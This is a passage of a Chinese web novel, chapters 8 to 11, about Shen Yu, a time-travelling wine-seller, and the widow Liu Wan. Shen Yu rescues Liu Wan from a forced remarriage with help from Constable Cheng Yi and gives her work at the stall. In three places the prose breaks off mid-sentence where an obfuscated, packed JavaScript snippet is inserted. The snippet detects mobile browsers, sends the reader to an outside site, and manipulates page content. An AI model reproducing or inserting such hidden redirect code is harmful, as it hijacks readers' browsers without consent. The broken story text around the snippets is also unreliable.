“程捕头又巡查啊？有这样的巡捕，可真是镇上的幸事啊。” “今日没去摆摊？”程易问得随意。 “是啊，有些事儿，刚好让酒陈几天。”沈钰瞧了眼程易，还是那身打扮，黑色捕快服配把刀，人站在那儿就有股惹不起的感觉。 不过，她可不怕。 程易今天没带人手，就他一个。 “程捕头，方便吗？问你点事？”沈钰指了指街边的茶座。 “可。” 程易率先向茶座走去，沈钰亦步亦趋地跟在后头。 沈钰叫了一壶清茶，替人满上后，双手递上茶杯。 “沈捕头，你知道西街张家的事吗？那个脸上有个痣，讲话凶巴巴的张婆子？”沈钰开门见山道。 经过她的观察，程易这人不喜欢拐弯抹角，她索性也直说。 “有点印象。”程易接过她递来的茶水，两人手指不经意间触到一瞬。 沈钰完全没在意，程易放在刀上的右手，紧了紧。 真是一点都不懂。 程易看沈钰眼里全是追问的好奇，无奈开口：“想问什么？” “我想找她媳妇帮忙，她不放人！她凭什么这么对自家媳妇？我听说，她想逼着她媳妇改嫁给姓李的老种马！”沈钰忿忿不平。虽然现代也有不少恶婆婆，但也不至于逼着人改嫁。 程易被沈钰的“老种马”弄得哭笑不得，真不知道她一个未出阁的女子，怎么能想到这种词。 “我劝你别管。”程易喝了口茶。 “可是，我就想让刘婉姐来帮我。我一个人天天蒸米晾饭累死了。”沈钰说得理直气壮。 “我知道了。” “你知道什么了？”沈钰满脸黑线，说话总这么省，真是急死人。 “李家不好惹，你别太出头了。” “知道……”沈钰有些低落。 她自然知道这里和她从前的环境不一样。哪怕是在现代还有许多人觉得女人不如男人，就该乖乖听话，别想着做什么事业，更何况是更封建的古代呢？ 以她现在的身份地位，又怎么能和镇里有名的富豪相对抗呢？ 8. 试工 昨日刘婉的事，像一块大石，压在沈钰心头。本来她想，左右不过挖个人，大不了多付点工钱，总能把人要过来。可张家婆子的蛮横无理，却远超她的预料。 沈钰正忙着筛米磨浆，院门被轻轻叩响。 她以为是来送米的伙计，便连忙开门，却意外见到了刘婉立在门前，神情局促。 “叨扰了，沈姑娘……你昨日说的帮工一事……不知如今，还作数否？” 沈钰眼底一亮，喜色溢于言表，几步将人迎进院中：“自然作数，快请进，刘婉姐。” 说罢，沈钰又忙着去端茶水。 刘婉没坐，她好奇地打量着院子里的一切。 各种蒸笼、筛子、瓦缸之类的东西，铺了大半个院子，还有些她瞧着眼熟，但一时说不出名的各种干料香花。 自从昨日见过沈钰，她的心底也好像有了一种念想，她也想像沈钰一样，活得潇洒些，不用看人脸色，想说什么就说什么。 其实，她也听说了沈钰的事，周围街坊时不时就有人讨论起沈钰，是怎么在她爹死后，又把她家卖酒的生意盘活的。人长得水灵，年纪轻轻就有不小的本事。做起生意，连男人都比她逊色几分。 刘婉上街采买时，也曾远远瞧见过沈钰一眼。沈钰穿着一身嫩黄色衣衫，头发扎成两条粗粗的花辫，垂在两侧，看起来既伶俐又清爽。她虽还是个姑娘，但却不避讳什么，做起生意来，和人谈笑起来显得大方不做作。 这也是刘婉心中想象的自己。 她自小就活得谨小慎微，未出嫁时，被爹娘打骂、被弟弟嫌弃；出嫁后，被丈夫嫌弃、被婆婆欺负。她从未反抗，只默默承受。本来一位这辈子就这样了，只是她想到她刚刚四岁的女儿，不能看女儿也走她走过的老路。 “刘婉姐，来喝茶。” 沈钰热情地给刘婉端来一杯热茶。 “沈姑娘，这些都是你一个人做的？” 刘婉看着沈钰细瘦的身材，眼里满是震惊。 院子里摆放的那些器具，一看就轻巧，也不知道这么瘦一个姑娘是怎么每天做这么多事的。 沈钰最得意的便是她这一手酿酒的功夫，脸上也浮出一抹骄傲，只是她人长得乖巧，一点不让人觉得油腻，反倒有一种傲娇之感。 “那是自然，”沈钰亲热地拉起刘婉的手，放到自己的胳膊上，“你摸摸，我可有劲了。” 刘婉也好奇，捏了捏，果然摸到硬硬的一条胳膊。没想到沈钰脸上还带着些少女的肉感，人却不娇软，和她那长相完全不符。 刘婉忍不住笑了：“沈姑娘真是……人长得秀气，力气却大得很。” 沈钰得意地一挑眉，眼角弯弯，带着一丝小傲娇。 “沈姑娘，这酿酒不容易吧？你说我，能学会吗？我怕帮不上你的忙。” 刘婉早就想着自己拼着干几年，攒够钱就带女儿离开镇子，重新找个地方安顿。凭她肯吃苦，总归是饿不死她们母女俩。 沈钰的到来，刚好又让她这个想法更加坚定。 “刘婉姐，说实话，酿酒不难，但要口味好的确是要费些功夫，”沈钰把平日里用到的酿酒器具一一指给刘婉，“最重要的其实还是选料，其他的倒是不难，要是以后形成流水线，就更简单一些，这些我日后慢慢教给你。” “流水线？”刘婉没听过这样新鲜的词。 “害，就是说每个步骤分别交给不同的人去做，这样做事效率的就能更高些。不过，现在这些活儿都是我一个人在干。” 沈钰在脑海中畅想着未来属于她的独立酒坊，应该是有百来个工人，大家一起高效地生产酒水，而她呢，则是继续从事她喜欢的酒水研制工作。 “刘婉姐，你今日怎么有空过来？”沈钰想，张婆子应该不会这么轻易放刘婉出来。更何况，她昨天还刚刚闹过。 “我婆婆今日不在家，我就来你这儿看看。你要是真的能让我在你这儿找份工做，大不了我把工钱多给她一些，想来她也不会太反对。” 张婆子之前不让刘婉去镇上的绣坊，就是因为那里不放人，交易来来，是要绣娘完工才会放人。这样，张婆子就没人伺候了，自然不让刘婉做工。只准她在家干完活之后再绣点东西补贴家用。 “妹子，你打扮得真好看，人也厉害。”刘婉说得真诚，她看着沈钰精巧的首饰打扮，眼里全是欣赏和羡慕，却没一丝嫉妒。 到底刘婉也不过才二十出头，自然是喜欢这些漂亮的首饰衣物。不得不说，爱美是大多是女人的天性。 “这可是我昨天就挑选好的！”沈钰指了指自己头上一串珠花，“和我今天这身衣服是配套好的。” 刘婉一瞧，果然如此。 “妹子，你今日还出门吗？” “不出去了，昨日没制出多少酒水，今日得补上呢。”沈钰不好意思地笑笑。 刘婉惊讶，她见沈钰仔仔细细地化了妆，搭配好衣饰，还以为她今日要出门做生意呢。 而且，她怕和沈钰错开，还特意来的早了些，没想到沈钰已经收拾好自己了。 刘婉低头看了看自己身上灰扑扑的粗布衣物，脸有些红。 沈钰猜出刘婉心里的想法，但她没说出来。 “姐，你要是来我这儿，这工钱的事好说。我之前一个人，每日产的酒其实不多，要是你来帮忙，这量肯定能提高不少。你要是不嫌弃，工钱我给你日结，一日一百文如何？” 沈钰思索着，报出一个数字。 “一百文？沈姑娘，你说得，真的是……”刘婉惊愕。 “头几日你先试手，我每日给你六十，待你熟了，再涨到一百，”沈钰道，“你若愿意，我这边随时都能安排。” 虽然，沈钰相信刘婉，但在正式招人上岗前，她还得设置一个试用期。不过，六十文一天，其实也不算少了。 “当然接受！”刘婉连连点头，立马想让沈钰开始教她干活，颇有些迫不及待的意思。 “来，刘婉姐，我一步步教你……” …… 整个上午，沈钰都在教授刘婉基本的酿酒知识。如何选粮蒸煮、如何摊凉拌曲又是如何入缸发酵的。 刘婉不愧是个能干的，跟在沈钰后面记了个七七八八。有了她的帮助，沈钰干起活果然比她自己一个人要轻松许多。 在娘家和夫家，刘婉总是被打压的存在，而在沈钰这里，她重新找到了自己的价值。 “姐，你真能干！学得真快！” “是是嘛……”刘婉被夸得心花怒放，脸上的笑意也多了些。 “姐，你婆婆中午要回家吗？你要不在我这儿吃饭？” 提到张婆子，刘婉脸上笑容一收。 “我婆婆她一大早就出门了，说是要办事去，我想应该是找人玩牌去了。应该晚上才会回来。” 张婆子是个远近闻名的老牌友，经常约着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763918|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个老姐妹打一天。她人品不怎么样，牌品倒是不差，也不耍赖。只是，她运气太差，又爱玩，回回输不少。 “这样啊……那你家姑娘呢？一个人在家？” “巧巧我让隔壁媳妇帮我看着。” “那不如这样，姐你把巧巧接来吧，下午让她在我这里玩，我再继续教你。她在身边，你放心些。” 刘婉略一沉吟，点头答应。擦完手，就回家了。 沈钰也起身准备午饭。刚好之前做的雪媚娘还剩下了几个，一会儿一起拿给刘婉母女尝尝。 经过一个上午的相处，沈钰也对刘婉心里的评价大大提升。如果说，一开始她只是有找刘婉帮忙的打算，现在她还非要把人留下不可了。 她哼着小曲，做起午饭。 沈钰把最后一盘菜摆上桌，又看了眼巷口，依旧不见人影。她皱了皱眉。 只是，沈钰等了好一会儿，都不见人来。 “怎么回事？” 不知为何，沈钰忽然觉得胸口一紧，一种不好的预感袭来。 该不会？ 沈钰忽得起身，冲向张家。 还没到门口，就听到里面哭天喊地的声音。 沈钰站在门口，猛地推门而入。 张家院里一片混乱，两个壮汉一左一右扣住刘婉的手臂，她的发髻已散，脸色惨白，拼命扭动着身子，脚边的小女孩哭喊得声嘶力竭。 “不要把我娘带走，求你了——” “巧巧！”刘婉眼泪夺眶而出，奋力挣了下，却被粗暴地拽得一踉跄，几乎跪倒在地。 沈钰火气“嗡”地一下从胸口冲上脑门。 “放开她！” 两个男人不为所动，还往后拽了一步，像押犯人似的。 张婆子叉着腰挡在一旁，嘴里还骂骂咧咧：“你一个外人掺和什么？我说她嫁李家，她就得嫁！寡妇门前是非多，我这是替她谋出路！” “放开我啊……娘，你别送我去李家……” 片刻前，沈钰还和刘婉有说有笑，这才一会儿功夫，怎么又是这样。 沈钰怒不可竭。 “你们这是打算做什么！抢人吗？” 沈钰站在门口，眉眼冷峻，语气里透着压不住的火气。 张婆子不屑一顾，冷笑着把巧巧往一边拽：“沈家丫头，你一个黄毛丫头也敢管我家事？刘婉是我儿媳，我要她去哪儿，她就得去哪儿！李家老爷瞧得起她，是她八辈子修来的福气。她要是不识好歹，就别怪我这个做婆婆的心狠。” “她不愿意嫁，你还说得出口？你有没有问过她愿不愿意？” 张婆子扬起下巴：“一个寡妇，有什么愿不愿的？我供她吃穿这几年，还不许我做主？你算哪根葱，敢来教我做人？” 刘婉一边挣，一边声嘶力竭道：“沈姑娘，你走吧，不要管我了……” 压着刘婉的壮汉也开口了：“我们可是李家人，奉老爷之命上门接人。成亲一事早谈妥了，别多管闲事。” “成亲？”沈钰一抬眼，“可有婚书？可曾过礼？还是你们一张嘴说了就算数？” 李家家仆一怔，随即笑得轻蔑：“婚书还用等？张家婆子一句话就成了，谁敢拦？！” 话音未落，门外忽然响起一声冷喝。 “我。” 门外人影晃动，一道清冷身影从人群中迈步而入，黑衣捕快服整整肃肃，手执腰牌，目光森寒。 9. 解困 西街尽头人头攒动，张家门口围了不少好事者。 “好好的怎么吵上门了？” “听说是张家寡妇不愿改嫁，李家来要人呢。” “啧啧，你别说，那寡妇是长得标致，人又能干。” 程易神色冷峻，目光一掠，人群中的喧哗声低了下去。 “若无婚书便逼其嫁人，私相授受，按律当责。尚未成婚礼，就擅自带人上门施压，扰乱街坊，究竟该当何罪？” 张婆子面色一变，可依旧嘴硬道：“这是我们家事，自然我们自己解决了，哪用得着大人您来操心？” 程易冷冷道：“你既然敢在街里拉拉扯扯，自然轮得我管。” 程易在镇上素有不近人情的传闻，都知道他不是个好惹的。谁知道，他今日怎么恰好出现在这。 李家仆人见势不妙，想悄悄拉人走，被程易拦住。 “去哪儿？人留下。”程易一手搭在腰间佩刀上，语气冰冷。 李家仆人争辩道：“程捕头，咱们也是奉李老爷的吩咐办事的，你就不能行个方便？再说张婆子也收过老爷的钱了，这人真不能让我们带走？” 程易手指不轻不重地敲在她的刀柄上，态度不言而喻。 见程易一点面子不给，两个汉子也有些恼火。 他们李家可是镇上有名的富商，在这里谁敢不给李老爷面子？怎么这个捕头就这么不懂事？ “程捕头，你当真要和我们姥爷作对？我劝你……诶，别打了！” 两人中更壮实些的男人还想扯两句威胁的话，直接被程易身边的手下打断。 年轻捕快直接给了说话人一拳：“怎么跟我们头儿说话呢？” “你你你！你等着！”仆人捂着脸，竟一时语塞。只忿忿抛下句狠话，匆匆离去。 周围的人，有不少也看不惯李家嚣张跋扈的姿态，都纷纷叫好。 “哈哈，那小子一拳打得不错。” “早就看那个王二不顺眼了，上次来买东西都没给钱，说是李老爷记账上，谁敢真去找他要啊。” “谁说不是啊，也不知道得意什么。” 两个帮手一走，张婆子一哽，也只好认命。 她不敢跟人高马大，还带着佩刀的程易呛声，只好朝着人群喊道：“还看什么，都散了！刘婉，你跟我回去！” 说完，还狠狠对刘婉甩了个眼刀子。 刘婉面白如纸，站在门后，她的衣襟被拽得凌乱。咬着唇，眼眶发红，不敢抬头。 沈钰快步上前，一把握住她的手：“别怕她，我在呢。” 刘婉低头不语。 她娘家人已经彻底放弃她了，她也不可能再回去。继续留在张家，还不知道以后会不会还被送到李家。 她今天有程捕头帮忙逃过一劫，下次呢？要是没人看着，她是不是就只去给那个李老爷做妾了？ 刘婉看着紧紧抱着自己流泪的女儿，心中酸楚。 程易偏头看了她们一眼，抬手压了压，示意众人静听：“此案本可至此为止，但既已引众目，便由我来说个明白。” 他语调不疾不徐：“三年前，县里曾有一案。寡女被逼嫁予权贵，家族贪图彩礼。后官府裁定，女方未过门、婚礼未成，当由其自择婚事，不得强逼。你张家若真要走官道，程某愿作证。” 围观众人纷纷点头，有人附和：“那年我记得，闹得可大了，最后也是女方赢了理！” 张婆子听得头皮发麻，本来还有些怨毒的脸色一收。 她还想说话，见四下冷眼，终于狠啐一口，对着沈钰说道：“你们记着，李家不是好惹的！” 沈钰不动声色地护住刘婉，冷笑道：“我可不怕你。” 张婆子气急败坏地进了屋，街头一阵骚动后渐渐散去。 “姐，你不如带着巧巧来我家吧。我院里刚好空着一间房。”沈钰替刘婉抚平衣服的褶皱。 “沈姑娘，我……” 话未说完，刘婉已经是泪眼朦胧，她女儿巧巧也跟在边上哭个不停。 沈钰只好拿出帕子，给哭出泪人的母女分别擦泪。 “好啦好啦，别怕，趁着程捕头还在，”沈钰瞄了一眼一直站在边上的程易，继续开口道，“快去收拾东西，他在，你婆婆不敢拿你怎么样！” “嗯。”程易颇给面子地点了点头。 沈钰也跟着点头。 有人撑腰，刘婉连忙带着女儿进去收拾东西。 沈钰道：“程捕头！今日之事，多谢你了。”因为兴奋，沈钰不由得多靠近了程易几步。 “我是依法行事。”程易不着痕迹地退后，避免被撞上。 沈钰没注意这些，她问道：“程捕头，你是专门来的？” “算是吧。”程易默认。 “头儿，你今儿在西街转好了几圈了。”一旁的年轻捕快插嘴道。 程易皱眉看向他：“东巷你看过没，还不快去？” 沈钰看乐了。 那年轻捕快挠挠头，打了个哈哈，飞快溜走了。 沈钰含笑望着他的背影，转而又看向程易，“程捕头今日这么努力巡西街，还真是公事公办啊。我记得，昨日某人还劝我不要多管闲事呢。” 她眼中含着一点打趣，笑意温温。 程易移开视线，语气板着：“西街摊贩聚集，确实该多看几眼。” “哦？”沈钰步子往前挪了半分，似笑非笑。 程易被她盯得喉结一动，耳根微红，但面上仍旧冷冷清清，“上次说过，你要遇上麻烦自然可以找我。今日算是兑现承诺。” 沈钰想起，好像是有这么一句话。之前沈铭和程章打架，程易是说过她以后有什么事，他会帮忙，没想到这么快就用上承诺了。 “程捕头真大方。”沈钰弯弯眼，语气软下来，“那今日之事，我请你喝酒，如何？” “……白日喝酒不妥。”他顿了顿，低声道，“今夜也不成，我要值夜。” “那等你不值夜的时候？” “……到时候再说。” 话虽冷淡，然而他经过沈钰身侧时，目光却在她手臂上扫了一眼。那是方才拉住刘婉时被张婆子抓出的红印，火辣辣一片。 程易眸色微沉，什么也没说，袖下一只手却悄悄收紧了拳头。 沈钰看着他神色，忽然想起方才他看她手腕时一顿，低头看了眼自己手臂。果然，有几道红痕，是张婆子拉扯时留下的。 她正要收回手，忽听响起一句低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763919|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声：“记得敷点药。” “这算什么伤啊！你不知道我平时……” 沈钰不以为然，本想继续打趣一番程易，她觉得逗这种没什么表情的淡人真有意思，可看到程易那副认真的样子，她又有些不好意思了，声音越来越小。 “对了，你和你弟弟处得还行吧？上次本来还想说教你两招，怎么对付这个年纪的孩子呢。” “他啊，就是太聪明了。自以为成熟着呢。” 谈起自己那个弟弟，程易难得的语气里有了些无奈。 “这样吧，你看你什么时候空，我带沈铭一起找你？还是你带他来我们家？” 沈钰想凑个饭局，彻彻底底化解两个小孩之间的矛盾，顺便给程易看看，她是怎么训弟的。 其实，她到现在还没弄清，沈铭和程章之间的矛盾到底是什么。她也对大家口中那个天才很是好奇。 片刻后，刘婉牵着女儿出来了。 “沈姑娘，我……” 刘婉拎着包袱站在门口，神情还有些恍惚，巧巧拉着她的衣角，小声问：“娘，我们真的可以不回家了吗？” 沈钰揉了揉她的脑袋，笑道：“当然可以。我家屋子虽不大，但留一间给你们母女绰绰有余。” 她一边说着，一边上前接过刘婉手中的包袱，轻轻拍了拍她的背：“别怕，我陪你。” 刘婉眼眶又是一红，声音哽咽：“谢谢你，沈姑娘。” “说这么客气干什么？你可是要帮我一起酿酒的。我可不得好好照顾你？还有，别喊我沈姑娘啦，多见外。你比我大些，喊我妹妹就好，刘婉姐。” “妹妹。”刘婉声音极轻，但确实喊了出来。 “诶！”沈钰勾唇一笑，转头朝程易招手，“程捕头，一起走吧？” 程易站在街口没动，看她笑眯眯的模样，像是对谁都能一笑化解一切。阳光斜照下来，映着她衣摆微动，他点头，慢慢走了过来。 “我送你们一程。” “哟，这会儿不用去盯着巡街啦。”沈钰揶揄一句，却没再说什么，只是故意慢了半步，与他并肩而行。 一路回去，刘婉始终低着头，巧巧倒是兴奋，一直问这问那。沈钰耐心回答，时不时哄她。小姑娘甜甜地喊了声“姨姨”，惹得她乐不可支。 程易默默走在一旁，余光不时扫过沈钰，见她一边安慰人，一边哄孩子，神情温柔，不由得低声道：“你对人一向这么热情？” “也不是，”沈钰偏头看他，我知道，她值得帮。” 程易点了点头，忽然轻声道：“你也要记得护好自己。” 沈钰一愣，望着他沉静的侧脸，心口忽然漏跳一拍。 回到家中，她让刘婉母女住进空屋，又热了水让她们先好好洗漱休息，转头出来时，程易还站在门口没走。 “程捕头，你还没走啊。” “想确认她们安顿好了。” “现在呢，确认完了，可以走了？” 程易沉默一瞬，忽然道：“我明日再来。” “来做什么？” “你不是说，让我带程章来吗？” 沈钰忽然笑了，弯着眼睛望着他，语气带着些促狭：“那，记得明天来喝我酿的新酒。” 10. 庇影 “早上天冷，刘婉姐跟着我就行，我带你先熟悉熟悉场子。”沈钰麻利地把几壶装好的酒一字排开，又取出做好的雪媚娘、米糕放在案几上。 “妹妹，这些我来摆吧。”刘婉有些手足无措，却满眼认真，小心翼翼地接过食盒。 街坊们瞧沈钰带了人帮忙，纷纷低声交谈道：“那不是张家寡妇吗？怎么跟着她出来了？” “你还不知道啊？昨天他们家闹得动静不小呢。” “刘氏跟着沈姑娘也好，她家婆婆是有些厉害。” “不是说李家看上她了？” “昨天被程捕头拦了。” 这些闲言碎语，自然被沈钰和刘婉听见了。 沈钰不动声色，安慰道：“别理他们。等咱们有钱了，离这些人远远的，他们自然而然就会换一种嘴脸。” 刘婉被沈钰直白的说法逗乐，神色轻松不少。 “好，姐信你，”刘婉脸一红，低头轻声道，“我不会给你丢人的。” 虽然才和沈钰接触没多久，刘婉已经被沈钰的话语和行为打动。 就比如桌上摆的酒壶，造型是她从没见过的新奇样式，要是她有了钱，也想自己买一壶尝尝鲜呢。 沈钰来自现代，太懂包装的重要性了。上辈子，她们家的酒能打出名气，也和包装有关。她特意找过人，设计了许多款造型独特的酒壶，让不同口味的酒有不同的瓶。 她的酒，就算不喝，买回去摆在那儿也是很好看的。沈钰早就发现，许多女人也是爱酒的，好看的东西自然能更引起女人的消费。 赵夫人之前能被她这么一个小摊吸引，也和这点分不开。 刚开始，沈钰只是找了镇上普通的工匠，定了一批酒壶。她发现，镇上许多散户卖酒基本都是用得同一种酒壶，而更大些的酒坊，那些装酒的壶就更加雷同了。 对曾经看惯各式各样现代酒包装的沈钰来说，毫无吸引力。 于是，她早早就开始设计属于自己的造型壶，找到熟识的杨宇帮忙，把实物制作出来。 如今，她摊位上的酒水，光靠外表就能吸引一批客户。 刘婉昨晚刚搬进沈钰家，还没仔细看过她这些物件，今早出门时才看到这些造型各异的酒壶，每一种都让她觉得新奇。 “沈姑娘，我家夫人让我来问问，你的酒酿的怎么样？这可是要在夫人生辰宴上用的，千万不可马虎。” 来人是上次和赵夫人一起来的丫鬟小翠，她正好奇地看着案几上摆着的各式点心和酒壶。 小翠自诩也算见识过不少了，她跟着夫人什么点心没见过，但这案几上的东西还真是陌生。 就比如那白白的糯米团，看起来也不怎么精致，比起夫人常用的茶点来说，可以算得十分粗糙了，可偏偏又看起来十分圆润可爱。 “姑娘放心，已经在准备了。不过夫人应该没什么忌口吧？” “没有。” 小翠看完雪媚娘，又去看桌上其他的东西，雪花酥、彩色果冻…… “姑娘，喜欢哪个？我请你！”沈钰豪爽地说。 小翠看起来年纪不大，她做的点心也是小姑娘和小孩子最喜欢的，肯定是想吃了。 沈钰也有自己的私心，如果小翠满意，说不定还能在赵夫人面前替她美言几句，到时候，她的赏金应该还能提一提。 “这……多谢。” 小翠脸红，扭扭捏捏的指了指果冻。 这东西看起来清透软弹，中间似乎还点缀着些鲜果花瓣，让人想知道它的口感。 刘婉帮忙打包好一块，她其实也很好奇。 小翠咬下一小口，果然是很奇特的口感。冰冰凉凉，又很爽滑，似乎是橘子汁做的，里面还有块橘子瓣。 “姑娘这点心好特别，你再给我装上些吧。该是多少钱，就算多少。” 小翠白吃了点心，有些不好意思。主动买了一些，准备带回去。 沈钰心想有戏，给小翠仔仔细细打包。 “小翠姑娘，夫人的生辰酒还有些日子才能开缸，我在六月初前，去夫人府上送酒如何？” 生辰酒算沈钰接到的第一笔大单，她不能出一丝差错。 “嗯，可以。”小翠付完钱离开。 刘婉看沈钰简简单单就做成一单生意，心中对沈钰更是佩服。 接下来，就是陆陆续续一些老顾客来买酒，偶尔有些新客上门关顾。 刘婉看沈钰熟练地送上试吃、打包装袋，也跃跃欲试。 沈钰猜出刘婉的想法，主动把摊位位置让出。 “姐，你来帮我看会儿摊子，我去买些东西。” 刘婉一惊，连忙道：“我……我能行吗？” “当然行。”沈钰拍拍她的手背，语气笃定，“客人问什么，你就照我刚才说的讲，实在不知道的，就说我一会儿回来。” 刘婉咬了咬唇，重重点头：“行，我试试。” 沈钰离开摊子没多久，几个老顾客便陆续凑上来，一位买惯了酒的笑道：“哎哟，新来的？是沈姑娘的亲戚吗？” 刘婉局促地行礼：“不是的……我是来帮忙的。” “你说那酒，一壶几钱来着？”另一人问。 刘婉深吸一口气，努力回忆刚才听来的话：“花酿的八十文一壶，清酿的六十文，若是要连点心一起打包……可便宜五文。” 她小心地说完，余光瞥见吴娘子点头：“倒是说得有条理。” 她心中微松，小心接过铜钱，包好货物，动作虽生涩，却没出错。 可还未松口气，一道刺耳的声音从人群后头传来：“呦，这就出门当街卖了？真是贱骨头，才住了一宿就认了新主子？” 刘婉脸色瞬间白了。 张婆子穿着旧棉袄，挎着个破竹篮，气势汹汹地走过来。 “你胆子可真不小，敢带着张家名声出来丢人现眼！” “你可还是我张家媳妇呢！” 围观人群顿时骚动，纷纷让开一圈看热闹。 刘婉捏紧了衣角，不知所措。 “这摊子是你在管？”张婆子冷着脸，一抬手，作势要掀案几。 可下一瞬，一道温凉却笃定的声音从人群后头响起。 “谁敢动我的摊位，今日就别想走出这条街。” 众人回头，只见沈钰提着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763920|174503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壶酸梅汁走了回来，眉眼含笑，语气却不见半分客气。 她扫了张婆子一眼，语气淡淡：“逼寡妇改嫁、勒索人身，张婆子，你胆子真是不小。昨天程捕头才说的话，你耳朵聋了？” 张婆子顿时噎住，脸上青一阵白一阵。 “你别在这儿装模作样，狐媚样子勾得谁呢？一个卖酒的小贱蹄子，还敢口口声声说律法？” “你试试看。”沈钰笑了笑，从怀中掏出一张薄纸，在众人面前晃了晃。 “这是县署发下来的公函副本，写得清清楚楚‘刘婉自愿离家，并无婚约束缚，所行不涉律禁’。你若执意闹事，我倒想请你去县衙走一趟。” 张婆子瞪大眼睛，像是被呛得说不出话。 “你你你，你怎么会有这个！” “这你就管不着了。” 沈钰手里的公函自然是程易给的。刚在街角，碰见昨天见过的小捕快，说是有东西给她。 没想到这么快就用上了。 张婆子还是有些不甘，想要接着拉扯刘婉的手臂，想把刘婉手上的镯子拔下来。 人群一阵惊呼，可下一刻，她却一只手猛地扣住了手腕。 “再动她一下，我可就不客气了。”沈钰穿着绣了绿枝暗纹的小袄，一张脸表情严肃。 “你？松手！疼死我啦！”张婆子怒道。 “哼！”沈钰甩开手。 张婆子见状不妙，灰溜溜退下，还不忘丢一句狠话：“你们给我等着！” 人群中传来一阵掌声与叫好：“打得好！” “这回可看爽了！” 人群还未散尽，街角那头，一道修长身影静静伫立。 程易负手而立，面色冷淡，身旁站着一名捕快打扮的小吏，俨然是刚刚和沈钰见过面的那个：“头儿，要不要上前处置？” “民事纠纷。”他语气淡淡，“倒不如看看她们自己怎么处理。” 目光落在沈钰身上，只见她神色自若，收起那张公函副本，又替刘婉理了理有些歪了的襟口。 刘婉望着她的眼神一时说不出话来。她过去从未想过，有朝一日会有人当街为她撑腰，甚至吓退曾经令她噩梦连连的张婆子。 “姐。”沈钰轻轻拉了拉她，“可别被这点小场面吓退了，你要真怕了，她才更会咬着你不放。” 这时，一个三四岁的孩童站到摊前，睁着一双亮晶晶的眼睛望着桌上的小果冻团子，奶声奶气地问：“这个好吃吗？” 沈钰笑眯眯地看向刘婉：“姐你说呢？” “……好吃。” 那孩子愣了一下，露出笑容：“我也要一个。” 刘婉连忙从桌边小竹篓里拎出一只油纸包递过去。 孩童的娘亲递过铜板：“姑娘，收好了。” 刘婉捧着那几文铜钱，转身望向沈钰。 沈钰微笑：“这钱是你自己挣的。” 刘婉红着眼。 “妹妹，我真是……遇到你太有福了。” 沈钰笑：“别急，咱们以后福气还多着呢。” 不远处，程易收回目光，衣摆轻拂。 “走吧。” 11. 请客 收摊后，沈钰买了点新鲜的菜。今天程易和他弟弟来吃饭，还有二叔一家和刘婉母女，她得多准备些菜。 傍晚时分，天边染上一抹淡金。沈钰在厨房升起火，饭菜香渐渐飘出。山药老鸡汤在锅上咕咚咕咚炖着，颜色金黄诱人。一旁的排骨也已经腌好，只等下锅。 刘婉在一边打下手，她本来想主动包揽做饭的事，却被沈钰拦下，只得作罢。 “姨姨，还有多久好嘞？” 巧巧站在灶房门口，嗅了一口香气。 “巧巧你先去院子玩吧，过会儿叫你沈钰哥哥他们过来。”刘婉怕女儿在灶房不小心碰到锅碗，连忙打发她出去。 “快啦！”沈钰擦去一点汗水。 有了刘婉的帮忙，不一会儿，几道色香味俱全的大菜就端上了院子里的桌上。 沈铭和二叔二婶也已经来了。 沈铭正在和刘巧炫耀他那半吊子的剑法，小姑娘还小，看得两眼放光、目瞪口呆。 二婶在看着沈钰那堆酿酒的家伙，还算老实。沈二则在一边，替沈钰挑着饭放在地上的香料。 院门吱呀，程易换下平日里漆黑的捕快服，穿了件深青色外衣，身形颀长，眉眼如刀。旁边还跟着个小少年，与他穿着同色衣袍，比程易稍矮一头，但两个人仿佛是一个模子里刻出来似的，散发着相似的气场，生人勿近。 “哼！”沈铭看见前两人还和自己打架的人，居然就这么堂而皇之地出现，脸上顿时没了好脸色。 “这不是我们的程章公子吗？你也会来我们这农家小院？”沈铭一番话说得阴阳怪气。 程章却没理他，自顾自地找着地方坐下。 见死对头没给自己一个眼神，沈铭气得脸上的五官皱在一起。 “臭小子，你说啥呢！”柳氏上前给了沈铭一记，转头对程易笑得讨好，“程捕头来啦，快快坐。老沈，给人倒茶啊。” 沈二二话没说，停下手中的活计，进屋倒水。 刘巧巧看到面生的程章很是好奇，她悄悄借着光打量起年龄不大的小少年。五官精致，甚至有些许女气，身量较瘦但身姿挺拔。 “巧巧妹妹，你别跟他玩！看我，再给你比个剑招！”沈铭一看刘巧巧的眼神几乎快粘到程章那臭小子身上，心中满是不忿。 “哦，好。”刘巧巧应道。 只是，还没等沈铭再起招，就被人打断。 “比什么比，还不快点洗手吃饭？”沈铭端着野菜豆腐走出灶房，没好气地说。 